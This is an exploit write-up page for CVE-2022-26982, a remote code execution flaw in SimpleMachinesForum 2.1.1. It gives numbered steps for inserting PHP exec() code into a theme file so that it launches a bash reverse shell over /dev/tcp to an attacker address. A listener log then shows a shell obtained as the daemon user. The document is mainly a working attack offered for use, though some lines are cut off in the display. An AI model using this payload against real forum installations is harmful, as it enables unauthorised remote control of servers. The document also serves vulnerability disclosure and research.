sartlabs Update Exploit.txt History

1 contributor

28 lines (26 sloc) | 1.91 KB

```
1  # Exploit Title: Authenticated Remote Code Execution in SimpleMachinesForum 2.1.1
2  # Remote Code Execution in SimpleMachinesForum 2.1.1 and earlier allows remote attackers to execut
3  # Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) #HTB profile: https://www.h
4  # Date: 7th March 2022
5  # CVE ID: CVE-2022-26982
6  # Confirmed on release 2.1.1
7  # Vendor: https://download.simplemachines.org/
8  # Note- Once we insert the vulnerable php code, we can even execute it without any valid login as
9
10 ################################################
11 #Step1- Login with Admin Credentials
12 #Step2- Goto Admin=>Main=>Administration Center=>Configuration=>Themes and Layout=>Modify Themes=>
13 #Step3- Now add the vulnerable php reverse tcp web shell exec("/bin/bash -c 'bash -i >& /dev/tcp/1
14 #Step4- Now Goto Add Media=>Add Resource=> Upload php web shell and click on SAVE CHANGES at the b
15 #Step5- Now click on "Themes and Layout" and you will get the reverse shell:
16 E.g: Visit http://IP_ADDR/index.php?action=admin;area=theme;b4c2510f=bc6cde24d794569356b81afc98ede
17
18 listening on [any] 4477 ...
19 connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 41276
20 bash: cannot set terminal process group (1334): Inappropriate ioctl for device
21 bash: no job control in this shell
22 daemon@debian:/opt/bitnami/simplemachinesforum$ whoami
23 whoami
24 daemon
25 daemon@debian:/opt/bitnami/simplemachinesforum$ id
26 id
27 uid=1(daemon) gid=1(daemon) groups=1(daemon)
28 daemon@debian:/opt/bitnami/simplemachinesforum$
```